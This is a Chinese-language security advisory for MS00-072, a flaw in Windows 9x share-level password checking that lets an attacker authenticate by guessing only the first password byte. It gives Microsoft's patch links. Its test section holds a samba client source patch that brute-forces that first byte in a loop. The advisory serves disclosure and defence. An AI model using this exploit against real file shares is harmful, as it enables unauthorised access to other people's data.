Microsoft Windows 9x共享密码校验漏洞(MS00-072)
发布日期:2000-10-11
更新日期:2000-10-11
受影响系统:Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 95
描述:
BUGTRAQ ID:
1780
CVE(CAN) ID:
CVE-2000-0979
Windows 9x系统提供的文件和打印共享服务可以设置口令保护,以避免非法用户的访问。然而微软NETBIOS协议的口令校验机制存在一个严重漏洞,使得这种保护形同虚设。
服务端在对客户端的口令进行校验时是以客户端发送的长度数据为依据的。因此,客户端在发送口令认证数据包时可以设置长度域为1, 同时发送一个字节的明文口令给服务端。服务端就会将客户端发来口令与服务端保存的共享口令的第一个字节进行明文比较,如果匹配就认为通过了验证。因此,攻击者仅仅需要猜测共享口令的第一个字节即可。
Microsoft Windows 9x 的远程管理也是采用的共享密码认证方式,所以也受此漏洞影响。
<*来源:Nsfocus Security Team (
security@nsfocus.com)
链接:
http://security.nsfocus.net/index.php?act=advisory&do=view&adv_id=6
http://www.microsoft.com/technet/security/bulletin/MS00-072.asp
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Nsfocus Security Team (
security@nsfocus.com)提供了如下测试方法:
您需要下载并修改Linux下的samba client(source/client/client.c)的源码:
--- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999
+++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000
@@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve
DEBUG(4,(" session setup ok\n"));
+/*
if (!cli_send_tconX(c, share, "?????",
password, strlen(password)+1)) {
DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
cli_shutdown(c);
return NULL;
}
+*/
+
+ password[0] = 0;
+ c->sec_mode = 0;
+ do{
+
+ password[0]+=1;
+
+ }while(!cli_send_tconX(c, share, "?????", password, 1));
DEBUG(4,(" tconx ok\n"));
建议:
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS00-072)以及相应补丁:
MS00-072:Patch Available for "Share Level Password" Vulnerability
链接:
http://www.microsoft.com/technet/security/bulletin/MS00-072.asp
补丁下载:
Microsoft Windows 98 and 98 Second Edition
http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/273991USA8.EXE
Microsoft Windows Me
http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/273991USAM.EXE浏览次数:5875
严重程度:0(网友投票)